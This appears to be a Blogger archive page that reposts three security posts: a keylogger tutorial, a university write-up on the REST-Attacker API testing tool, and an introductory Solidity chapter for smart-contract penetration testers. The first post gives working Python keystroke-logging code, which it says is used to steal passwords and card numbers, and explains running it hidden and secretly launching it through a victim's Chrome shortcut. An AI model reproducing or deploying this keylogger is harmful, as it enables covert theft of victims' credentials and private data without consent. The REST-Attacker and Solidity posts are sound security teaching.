KENFRITS: enero 2024

domingo, 28 de enero de 2024

How To Make A Simple And Powerful Keylogger Using Python

A keylogger is a computer program which can be written using any computer programming language such as c++ when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.

How to make a python keylogger?

A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.

Requirements to create a python keylogger

Computer With Operating system: Windows, Mac os or Linux
Python must be installed on the system
Pip (Python index package ) you will need this to install python software packages.
Pypiwin32 and PyHook packages
Basic understanding of computers

You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.

Part 1: Downloading Python and pip, setting up the environment to create the keylogger.Step 1:

Download python development kit by clicking here.

Choose python 2.7 because I am using this version. It is ok if you have a different version of python this method will work on every version of python.

Step 2:

Installation of python is pretty simple.Open the python setup file, Mark the checkboxes Very important else you have to set the python path manually, and click on Install Now.

Step 3:

You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.

To download pip go to https://pip.pypa.io/en/stable/installing/ and Save link as by right clicking on get-pip.py. when the download is done, just run the get-pip.py file.

Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.

Now click on the Advanced system settings

Choose Environment Variables.

Choose New, Set the Variable name: PATH and Variable value as C:\Python27\Scripts

Click on ok.

Part 2: Installing Pypiwin32 and PyHook python Packages using pip:

Open Command Prompt(CMD) and type: pip installs Pypiwin32 press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: pip install PyHook press the Enter Key and wait for the installation to complete.When done close the Command Prompt.

Part 3: Creating and testing the python keylogger:

Now you have configured your environment and installed all the necessary packages, let's start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI) by clicking on it.

Go to the File, from the drop-down menu choose New file.

Python Keylogger source code:

Copy these lines of code and paste into the new file. Modify the directory in the second line of code to your own location e.g 'C:\test\log.txt' this will create a folder named test in C save the log.txt file there when the Keylogger start.

import pyHook, pythoncom, sys, logging

file_log='F:\\test\\log.txt'

def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.

The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt on my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as Google Chrome.

Let's make the python keylogger auto-launchable by attaching it the Google Chrome.

Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat

Now right click on the google chrome desktop shortcut icon and click on properties. You will see a field called Target. Change the target field to the batch file launch.bat directory that you created. let's say you have saved your launch.bat file in a test folder in C, Then change the target field with "C:\test\launch.bat". Now, whenever the user opens chrome the keylogger will run automatically.

Continue reading

Automating REST Security Part 2: Tool-based Analysis With REST-Attacker

Our previous blog post described the challenges in analyzing REST API implementations. Despite the lack of REST standardization, we learned that similarities between implementations exist and that we can utilize them for tool-based REST security analysis.

This blog post will now look at our own implementation. REST-Attacker is a free software analysis tool specifically built to analyze REST API implementations and their access control measures. Using REST-Attacker as an example, this blog post will discuss how a REST security tool can work and where it can improve or streamline the testing process, especially in terms of automation.

Author

Christoph Heine

Overview

Premise

REST-Attacker was developed as part of a master's thesis at the Chair for Network & Data Security at the Ruhr University Bochum. The primary motivation behind creating REST-Attacker was to evaluate how far we could push automation for REST security analysis. Hence, REST-Attacker provides several automation features such as automated test generation, test execution, and API communication. The tool essentially takes a "lazy tester" approach that tries to minimize the necessary amount of manual interaction as much as possible.

Creating a test run requires an OpenAPI file describing the REST API. Optional configuration, such as authentication credentials, can be provided to access protected API endpoints or run advanced test cases. Based on the API description and configuration, the tool can automatically generate complete test runs and execute them automatically. For this purpose, the current release version provides 32 built-in security test cases for analyzing various security issues and best practices.

How Testing Works

REST-Attacker can be used as a stand-alone CLI tool or as a Python module for integration in your own toolchain. In this blog post, we will mainly focus on running the tool via CLI. If you want to learn more about advanced usage, we recommend you read the docs.

Starting a basic test run looks like this:

python3 -m rest_attacker openapi.json --generate

openapi.json is an OpenAPI file that describes the API we want to test. The --generate flag activates load-time test generation to automatically create a test run. In practice, this means that the tool passes the OpenAPI file to a test generation function of every available test case, which then returns a list of tests for the specific API. After creating the test run, REST-Attacker executes all tests one by one and saves the results.

There's also a second option for run-time test generation using the --propose flag:

python3 -m rest_attacker openapi.json --generate --propose

In comparison to --generate, which creates tests from the OpenAPI description before starting the test run, --propose generates tests during a test run by considering the results of already executed tests. This option can be useful for some test cases where we want to take the responses of the API into account and run a follow-up test based on the observed behavior.

Both test generation methods can significantly speed up testing because they allow the creation of entire test runs without manual input. However, their feasibility often heavily depends on the verbosity and accuracy of the configuration data. Remember that many definitions, such as security requirements, are optional in the OpenAPI format, i.e., services can choose to omit them. API descriptions can also be outdated or contain errors, particularly if they are unofficial user-created versions. Despite all these limitations, an automated generation often works surprisingly well.

If you don't want to use the tool's generators, test runs can also be specified manually. For this purpose, you just pass a list of tests, including their serialized input parameters, via a config file:

python3 -m rest_attacker openapi.json --run example_run.json

Advanced Automation

So far, we have only covered the automation of the test generation. However, what's even more interesting is that we can also automate much of the test execution process in REST-Attacker. The challenging part here is the streamlining of API communication. If you remember our previous blog post, you know that it basically involves these three steps:

Preparing API request parameters
Preparing access control data (handling authentication/authorization)
Sending the request

Since most REST APIs are HTTP-based, step 3. is relatively trivial as any standard HTTP library will do the job. For example, REST-Attacker uses the popular Python requests module for its request backend. Step 1. is part of the test generation process and can be realized by using information from the machine-readable OpenAPI file, which we've already discussed. In the final step, we have to look at the access control (step 2.), which is especially relevant for security testing. Unfortunately, it is a bit more complex.

The problem is generally not that REST APIs use different access control methods. They are either standardized (HTTP Basic Auth, OAuth2) or extremely simple (API keys). Instead, complications often arise from the API-specific configuration and requirements for how these methods should be used and how credentials are integrated into the API request. For example, implementations may decide:

where credentials are located in the HTTP request (e.g., header, query, cookie, ...)
how credentials are encoded/formatted (e.g., Base64 encoding or use of keywords)
whether a combination of methods is required (e.g., API key + OAuth2)
(OAuth2) which authorization flows are supported
(OAuth2) which access scopes are supported
...

Thereby, we cannot rely on an access control method, e.g., OAuth2, being used in the same way across different APIs. Furthermore, a lot of this information cannot be described in the OpenAPI format, so we have to find another solution. In REST-Attacker, we solve this problem with an additional custom configuration for access control. An example can be seen below (unfold it):

{     "schemes": {         "scheme0": {             "type": "header",             "key_id": "authorization",             "payload": "token {0}",             "params": {                 "0": {                     "id": "access_token",                     "from": [                         "token0",                     ]                 }             }         }     },     "creds": {         "client0": {             "type": "oauth2_client",             "description": "OAuth Client",             "client_id": "aabbccddeeff123456789",             "client_secret": "abcdef12345678998765431fedcba",             "redirect_uri": "https://localhost:1234/test/",             "authorization_endpoint": "https://example.com/login/oauth/authorize",             "token_endpoint": "https://example.com/login/oauth/token",             "grants": [                 "code",                 "token"             ],             "scopes": [                 "user"             ],             "flags": []         }     },     "required_always": {         "setting0": [             "scheme0"         ]     },     "required_auth": {},     "users": {         "user0": {             "account_id": "user",             "user_id": "userXYZ",             "owned_resources": {},             "allowed_resources": {},             "sessions": {                 "gbrowser": {                     "type": "browser",                     "exec_path": "/usr/bin/chromium",                     "local_port": "1234"                 }             },             "credentials": [                 "client0"             ]         }     } }

The config file contains everything required for getting access to the API. schemes define location and encoding of credentials in the HTTP request, while credentials contain login credentials for either users or OAuth2 clients. There are also definitions for the required access control schemes for general access to the API (required_always) as well as for user-protected access (required_auth). For the purpose of authorization, we can additionally provide user definitions with session information. The latter can be used to create or access an active user session to retrieve OAuth2 tokens from the service.

Starting REST-Attacker with an access control config is similar as before. Instead of only passing the OpenAPI file, we use a folder that contains all configuration files:

python3 -m rest_attacker cfg/example --generate

REST-Attacker completely handles all access control requirements in the background. Manual intervention is sometimes necessary, e.g., when there's a confirmation page for OAuth2 authorization. However, most of the steps, from selecting the proper access control schemes to retrieving OAuth2 tokens and creating the request payload, are all handled by REST-Attacker.

Interpreting Results

After a test run, REST-Attacker exports the test results to a report file. Every report gives a short summary of the test run and the results for each executed test case. Here you can see an example of a report file (unfold it):

{     "type": "report",     "stats": {         "start": "2022-07-16T14-27-20Z",         "end": "2022-07-16T14-27-25Z",         "planned": 1,         "finished": 1,         "skipped": 0,         "aborted": 0,         "errors": 0,         "analytical_checks": 0,         "security_checks": 1     },     "reports": [         {             "check_id": 0,             "test_type": "security",             "test_case": "https.TestHTTPAvailable",             "status": "finished",             "issue": "security_flaw",             "value": {                 "status_code": 200             },             "curl": "curl -X GET http://api.example.com/user",             "config": {                 "request_info": {                     "url": "http://api.example.com",                     "path": "/user",                     "operation": "get",                     "kwargs": {                         "allow_redirects": false                     }                 },                 "auth_info": {                     "scheme_ids": null,                     "scopes": null,                     "policy": "DEFAULT"                 }             }         }     ] }

Individual test reports contain a basic classification of the detected behavior in the issue parameter and the detailed reasons for this interpretation in the value object. The meaning of the classification depends on the test case ID, which is stored in the test_case parameter. In the example above, the https.TestHTTPAvailable checks if an API endpoint is accessible via plain HTTP without transport security (which is generally considered unsafe). The API response is an HTTP message with status code 200, so REST-Attacker classifies the behavior as a flaw.

By default, reports also contain every test's configuration parameters and can be supplied back to the tool as a manual test run configuration. This is very useful if we want to reproduce a run to see if detected issues have been fixed.

python3 -m rest_attacker openapi.json --run report.json

Conclusion

By now, you should know what REST API tools like REST-Attacker are capable of and how they can automate the testing process. In our next and final blog post, we will take a deeper look at practical testing with the REST-Attacker. To do this, we will present security test categories that are well-suited for tool-based analysis and investigate how we can apply them to test several real-world API implementations.

Acknowledgement

The REST-Attacker project was developed as part of a master's thesis at the Chair of Network & Data Security of the Ruhr University Bochum. I would like to thank my supervisors Louis Jannett, Christian Mainka, Vladislav Mladenov, and Jörg Schwenk for their continued support during the development and review of the project.

Continue reading

Smart Contract Hacking Chapter 1 - Solidity For Penetration Testers Part 1 (Hello World)

Note: We will start off our Smart Contract Hacking journey with some basic solidity programming in the first two weeks. After that we will ramp things up and get a little crazy deploying blockchains and liquidating funds from accounts. But since the purpose of this series is to share the information I have learned over the last two years. I do not want to alienate those new to Smart Contracts and programming so we will take these first few weeks a bit slow.

Also note the text was taken from a book I was / am writing, I retrofitted it for this blog, and placed videos where screenshots may otherwise exist. If something seems off.. Just DM me on twitter and I will update it anything I might have missed during editing, but I tried to edit it as best as possible to meet this format rather then a book.

Cheers @Fiction

http://cclabs.io

Thanks to @GarrGhar for helping me edit/sanity check info for each of the chapters.

About Solidity

The solidity programming language is the language used to write smart contracts on the Ethereum blockchain. As of my initial writing of this chapter the current compiler version was 0.6.6. However, the versions change rapidly. For example, when I started coding in solidity 2 years ago, solidity was in version 4 and now its version 7 with major library and coding stylistic requirement updates in version 5.

So, note that when compiling your code for labs its best to use the version sited in that particular example. This is easily achieved in the online compilers, by selecting the compiler version from the dropdown menu. If you would like to give yourself a small challenge, use the latest compiler version and try to modify the code to work with it. Usually this just requires a few minor modifications and can be a good learning experience under the hood of how Solidity works and what has changed.

Solidity is very similar to writing JavaScript and is fully object oriented. In the intro chapters we will attempt to provide a quick overview of solidity understanding needed for a penetration tester. This will not be full guide to programming, as programming is considered to be a pre-requisite to application hacking. Instead this chapter will be a gentle introduction of needed concepts you will use throughout this book. Solidity is also a needed pre-requisite for understanding the rest of the information and its associated exploitation course.

However, as long as you understand general programming concepts then you should have no trouble understanding solidity. It is a relatively easy language to get up and running with quickly in comparison to more mature languages like C++ and Java which may take a more significant amount of time to learn.

The most important thing to understand with solidity is that unlike traditional languages, solidity handles transactions of monetary value by default. Meaning you don't need to attach to a payment API to add transactions to your applications. Payment functionality is baked into the language as its primary purpose and for usage with the Ethereum blockchain. All that's needed for financial transactions in solidity is a standard library transfer function, and you can easily send value to anyone's public address.

For example, the following simple function will transfer a specified amount of Ether to the user calling the function provided they have a large enough balance to allow the transfer. But lets not dive into that just yet.

1.  function withdraw (uint amount) {

2.     require (amount <= balances[msg.sender]);

3.     msg.sender.transfer(amount);

4.  }

Structure of a Smart Contract

Rather than discuss payments at this point, let's not jump to far ahead of ourselves. We need to understand the structure of a smart contract. Let's take a look at a Hello World example. We will analyze all of the key aspects that make solidity different then other languages you may currently understand.

You can easily follow along with this on http://remix.ethereum.org which is a free online IDE and compiler for coding in solidity. A full video walk through of Remix is included later on in this chapter. Remix contains in-browser compilers and virtual environments that emulate block creation and allow you to send and receive transactions. This is a powerful development tool and absolutely free to use.

Below is the simple code example we will analyze before moving on to a live walk through.

1.  pragma solidity 0.6.6;

2.

3.  contract HelloWorld {

4.

5.     constructor () public payable {

6.           //This is a comment

7.           //You can put your configuration information here

8.     }

9.

10.   function hello () public pure returns (string memory) {

11.                  return "Hello World";

12.         }

13.}

There is a lot going on in this small program so I will try to break it down as simple as possible. In the first line, we have the pragma statement which is required at the top of each program to let the compiler know which version of solidity this code was written for. As I said earlier, these versions change rapidly due to the evolving technology and many changes are implemented into each new version. So, the compiler needs to know which version you intended this to run on.

On line 3 is the word "contract" followed by whatever name you wish to call your contract. The contract's functionality is then enclosed in curly braces. This is similar to creating a class in any other language. It's a block of associated code that can be inherited, or interfaced with and contains its own variables and methods.

On line 5 contained within the contract curly braces we have a constructor denoted by the word "constructor". The constructor is run one time at contract creation and used to setup any variables or details of the smart contract. This is often used for creating an administrator of the contract or other items that are needed prior to contract usage.

Functions and variables within Solidity also have various types and visibility set with their creation. In this case also on line 5 you will see the words "public" and "payable" used to describe the constructor.

Public you may be familiar with as it's a common visibility keyword used in other languages denoting that anyone can call this function. There are other visibility types in Solidity listed below, we will cover each of these in more detail as we use them to our advantage when hacking smart contracts:

Public

This allows anyone to call and use this function

Private

This allows only the current contract and its functions to call it directly.

Internal

This is similar to private except it also allows derived contracts to use its functionality

External

External can only be called externally by other contracts unless the "this" keyword is used with the function call.

The second keyword in the constructor definition "payable" you may not be familiar with unless you have worked on blockchain projects. The word payable within solidity is needed on any item that can receive Ether. So, by setting the constructor as payable we can send a base amount of Ether to the contract when its deployed. This will add an initial monetary liquidity for whatever functionality the contract is providing. For example, if this were a gambling game, we would need some initial Ethereum to payout our winners before our revenues catch up with our payouts and we start collecting large sums of failed gambling revenue.

Within the constructor is an example of how comments are handled in solidity, the simple double forward slash is used like in most languages. Comments function in the same way as any other language in that they are not processed and they are ignored by the compiler but are useful for understanding the code you wrote later after you have taking time apart from reading your code.

Finally, we have our simple hello function starting on line 10. Again, there is a lot going on here. First is the name of the function with parentheses that can contain arguments like in any other language. However, this function does not take arguments.

You will notice two more keywords in the function definition "pure" and "returns". Returns is simply the way the function denotes that it will return a value to the user, which it then states directly after it what type of variable it returns. In this case, it returns a string in memory. We will talk about memory and storage later on and the security implications of them.

Next is the word "Pure" there are a couple types of functions in Solidity which will list below with a brief description.

View

This type of function does not modify or change the state of the contract but may return values and use global variables.

Pure

A pure function is a function which is completely self-contained in that it only uses local variables and it does not change the state of the smart contract.

Finally, in line 11 we return our string to the user who called the function. In the context of a user, this could be a physical user using an application or smart contract functionality or it could actually be another smart contract calling the function.

Hands on Lab – Remix HelloWorld

Now that we talked over in detail all the new concepts to solidity programs using a small example, lets compile and run this code on remix.ethereum.org.

Action Steps:

ü Browse to remix.etherum.org
ü Type out the the code from above (Do not copy Paste it)
ü Compile and deploy the code
ü Review the transaction in the log window

Intro to the Remix Development Environment Video

In Remix create a new file and type out the example helloworld code. I would suggest that you actually type out all of the examples in this book. They will not be exhaustive or long and will provide you great value and make you comfortable when it comes to writing your own exploits and using the compilers and tools. These are all essential tools to your understanding.

Within your remix environment, you will want to select the compiler version 0.6.6 to ensure that this code runs correctly. If you typed out the code correctly you should not receive any errors and you will be able to deploy and interact with it. In the following video we will walk you through that process and explain some nuances of solidity.

Explaining and Compiling HelloWorld Video:

Lets now quickly review a few key points about the transaction that you saw within the video when compiling your code. This transaction is shown below.

__________________________________________________________________________________

call to HelloWorld.hello

CALL

from 0xBF8B5A94eD4dFB45089b455B1A0e296D6669c625

to HelloWorld.hello() 0xADe285e11e0B9eE35167d1E25C3605Eba1778C86

transaction cost 21863 gas (Cost only applies when called by a contract)

execution cost 591 gas (Cost only applies when called by a contract)

hash 0x14557f9552d454ca865deb422ebb50a853735b57efaebcfc9c9abe57ba1836ed

input 0x19f...f1d21

decoded input {}

decoded output {

"0": "string: Hello World"

}

logs []

_________________________________________________________________________________

The output above is a hello transaction which contains the relevant data retrieved when you executed the hello function in the video. The first important thing to notice is the word "CALL". In solidity there are call and send transactions. The difference between the two is whether they change the state of the blockchain or not. In this case we did not change the state, we only retrieved information so a CALL was issued. If we were changing variables and sending values then a SEND transaction would have been issued instead.

Next you will see the "From" address which should correspond with the address you used to call the transaction. The "To" field should be the address the smart contract was given when you deployed the smart contract. You can view this on your deployment screen next to the deployed contract name by hitting the copy button and pasting it somewhere to see the full value.

You will then see the costs and gas associated with the transaction. Costs change based on the size of the contracts and the assembly code created by the compiler. Each instruction has a cost. We will cover that later when we do a bit of debugging and decompiling.

Finally take note of the Decoded Output which contains the return string of "Hello World".

Summary

If you are new to solidity or new to programming in general this might have been a lot of information. In the next chapter we cover a few more key solidity concepts before moving on to exploiting vulnerabilities where a much more in depth understanding of how solidity works and its security implications will be explored. For more solidity resources and full-length free tutorials check out the following references

Homework:

https://cryptozombies.io/en/course/

More info

Linkbar

GALERIA FOTOGRAFICA

domingo, 28 de enero de 2024

How To Make A Simple And Powerful Keylogger Using Python

How to make a python keylogger?

Python Keylogger source code:

Continue reading

Automating REST Security Part 2: Tool-based Analysis With REST-Attacker

Author

Overview

Premise

How Testing Works

Advanced Automation

Interpreting Results

Conclusion

Acknowledgement

Smart Contract Hacking Chapter 1 - Solidity For Penetration Testers Part 1 (Hello World)

About Solidity

Structure of a Smart Contract

Hands on Lab – Remix HelloWorld

Action Steps:

Summary

Homework:

SOPORTE PARA ONG

SOPORTE BLOGGER

Etiquetas

GALERIA

enlaces para entorno móvil

Lorem Ipsum

Mis libros preferidos

Paginas que consulto:

Blog Archive

Footer